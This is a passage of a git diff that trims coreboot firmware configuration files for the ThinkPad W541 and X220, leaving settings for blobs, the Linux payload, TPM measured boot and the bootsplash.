CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_MAINBOARD_FAMILY="ThinkPad W541" -CONFIG_MAINBOARD_PART_NUMBER="ThinkPad W541" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="lenovo/haswell" -CONFIG_VGA_BIOS_ID="8086,0166" -CONFIG_DIMM_MAX=4 -CONFIG_DIMM_SPD_SIZE=256 -CONFIG_FMDFILE="" CONFIG_NO_POST=y -CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0x800000 -CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 -CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 -CONFIG_MAX_CPUS=8 -# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set -CONFIG_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_VARIANT_DIR="w541" -CONFIG_OVERRIDE_DEVICETREE="" -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" -CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_TPM_PIRQ=0x0 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0xff7c0000 -CONFIG_DCACHE_RAM_SIZE=0x10000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x2000 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y -CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="@BLOB_DIR@/w541/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/w541/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/w541/gbe.bin" -CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -# CONFIG_ENABLE_DDR_2X_REFRESH is not set -CONFIG_PCIEXP_AER=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_GIGADEVICE=y -CONFIG_SPI_FLASH_STMICRO=y -# CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad W541" CONFIG_HAVE_IFD_BIN=y -# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set CONFIG_BOARD_LENOVO_THINKPAD_W541=y -# CONFIG_BOARD_LENOVO_L520 is not set -# CONFIG_BOARD_LENOVO_S230U is not set -# CONFIG_BOARD_LENOVO_T400 is not set -# CONFIG_BOARD_LENOVO_T500 is not set -# CONFIG_BOARD_LENOVO_R400 is not set -# CONFIG_BOARD_LENOVO_R500 is not set -# CONFIG_BOARD_LENOVO_W500 is not set -# CONFIG_BOARD_LENOVO_T410 is not set -# CONFIG_BOARD_LENOVO_T420 is not set -# CONFIG_BOARD_LENOVO_T420S is not set -# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set -# CONFIG_BOARD_LENOVO_T430S is not set -# CONFIG_BOARD_LENOVO_T431S is not set -# CONFIG_BOARD_LENOVO_T520 is not set -# CONFIG_BOARD_LENOVO_W520 is not set -# CONFIG_BOARD_LENOVO_T530 is not set -# CONFIG_BOARD_LENOVO_W530 is not set -# CONFIG_BOARD_LENOVO_T60 is not set -# CONFIG_BOARD_LENOVO_Z61T is not set -# CONFIG_BOARD_LENOVO_R60 is not set -# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set -# CONFIG_BOARD_LENOVO_X131E is not set -# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set -# CONFIG_BOARD_LENOVO_X200 is not set -# CONFIG_BOARD_LENOVO_X301 is not set -# CONFIG_BOARD_LENOVO_X201 is not set -# CONFIG_BOARD_LENOVO_X220 is not set -# CONFIG_BOARD_LENOVO_X220I is not set -# CONFIG_BOARD_LENOVO_X1 is not set -# CONFIG_BOARD_LENOVO_X230 is not set -# CONFIG_BOARD_LENOVO_X230T is not set -# CONFIG_BOARD_LENOVO_X230S is not set -# CONFIG_BOARD_LENOVO_X230_EDP is not set -# CONFIG_BOARD_LENOVO_X60 is not set -CONFIG_BOARD_LENOVO_HASWELL_COMMON=y -CONFIG_VBOOT_SLOTS_RW_AB=y -CONFIG_PS2K_EISAID="LEN0071" -CONFIG_PS2M_EISAID="LEN004A" -CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" -CONFIG_GFX_GMA_PANEL_1_PORT="DP3" -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_L1_SUB_STATE=y -CONFIG_PCIEXP_CLK_PM=y -CONFIG_GFX_GMA_PANEL_1_ON_EDP=y -# CONFIG_DRIVERS_UART_8250IO is not set -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_12288=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -CONFIG_COREBOOT_ROMSIZE_KB_12288=y -# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=12288 -CONFIG_ROM_SIZE=0x00c00000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 -# end of Mainboard - -CONFIG_SYSTEM_TYPE_LAPTOP=y - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x100000 -CONFIG_SMM_MODULE_STACK_SIZE=0x400 -CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 -CONFIG_EHCI_BAR=0xe8000000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 -CONFIG_INTEL_GMA_BCLV_WIDTH=16 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 -CONFIG_INTEL_GMA_BCLM_WIDTH=16 -CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_HAVE_MRC=y CONFIG_MRC_FILE="@BLOB_DIR@/haswell/mrc.bin" -CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x30000 -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 -CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 -CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_DISABLE_ME_PCI=y -CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=6 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_FIXED_SMBUS_IO_BASE=0x400 -CONFIG_CBFS_CACHE_ALIGN=8 - -# -# CPU -# -CONFIG_CPU_INTEL_HASWELL=y -CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_TIMEBASE=y -CONFIG_CPU_INTEL_COMMON_VOLTAGE=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_PARALLEL_MP=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_TSC_SYNC_MFENCE=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set - -# -# Northbridge -# -CONFIG_NORTHBRIDGE_INTEL_HASWELL=y -# CONFIG_USE_NATIVE_RAMINIT is not set -# CONFIG_USE_BROADWELL_MRC is not set -CONFIG_HASWELL_HIDE_PEG_FROM_MRC=y - -# -# Southbridge -# -# CONFIG_PCIEXP_HOTPLUG is not set -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_LYNXPOINT=y -CONFIG_FINALIZE_USB_ROUTE_XHCI=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y -CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set -CONFIG_TCO_SPACE_NOT_YET_SPLIT=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# -CONFIG_EC_ACPI=y -CONFIG_EC_LENOVO_H8=y -CONFIG_H8_BEEP_ON_DEATH=y -CONFIG_H8_FLASH_LEDS_ON_DEATH=y -# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set -# CONFIG_H8_FN_CTRL_SWAP is not set -CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y -CONFIG_H8_HAS_PRIMARY_FN_KEYS=y -CONFIG_H8_HAS_LEDLOGO=y -CONFIG_EC_LENOVO_PMH7=y - -# -# Intel Firmware -# CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_CHECK_ME is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -# CONFIG_USE_ME_CLEANER is not set -CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y CONFIG_HAVE_GBE_BIN=y -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_MAINBOARD_HAS_LIBGFXINIT=y -CONFIG_MAINBOARD_USE_LIBGFXINIT=y -# CONFIG_VGA_ROM_RUN is not set -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x04000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_USE_DDR3=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -# CONFIG_MRC_SETTINGS_PROTECT is not set -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_SPI_FLASH_ADESTO=y -CONFIG_SPI_FLASH_AMIC=y -CONFIG_SPI_FLASH_ATMEL=y -CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_MACRONIX=y -CONFIG_SPI_FLASH_SPANSION=y -CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_ISSI=y -CONFIG_HAVE_EM100PRO_SPI_CONSOLE_SUPPORT=y -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_NO_UART_ON_SUPERIO=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -CONFIG_HAVE_USBDEBUG=y -CONFIG_HAVE_USBDEBUG_OPTIONS=y -# CONFIG_USBDEBUG is not set -# CONFIG_VPD is not set -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_INTEL_DDI=y -CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_DYN_CPU=y -CONFIG_GFX_GMA_GENERATION="Haswell" -CONFIG_GFX_GMA_PCH="Lynx_Point" -CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" -CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set -# CONFIG_DRIVERS_PS2_KEYBOARD is not set -CONFIG_DRIVERS_MC146818=y -CONFIG_USE_PC_CMOS_ALTCENTURY=y -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_NO_TPM is not set -CONFIG_TPM1=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM1=y -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM1=y -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_INTEL_TXT is not set -# CONFIG_STM is not set -# CONFIG_INTEL_CBNT_SUPPORT is not set -# CONFIG_BOOTMEDIA_LOCK_NONE is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y -# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_EM100PRO_SPI_CONSOLE is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_IOAPIC=y -CONFIG_USE_WATCHDOG_ON_BOOT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# - -# -# General Debug Settings -# -# CONFIG_FATAL_ASSERTS is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_RAMSTAGE_ADA=y -CONFIG_RAMSTAGE_LIBHWBASE=y -CONFIG_HWBASE_DYNAMIC_MMIO=y -CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 -CONFIG_HWBASE_DIRECT_PCIDEV=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-x220-maximized.config b/config/coreboot-x220-maximized.config index 491a0e9b7..636386507 100644 --- a/config/coreboot-x220-maximized.config +++ b/config/coreboot-x220-maximized.config @@ -1,705 +1,28 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -CONFIG_OPTION_BACKEND_NONE=y -# CONFIG_USE_OPTION_TABLE is not set -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set # CONFIG_USE_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# 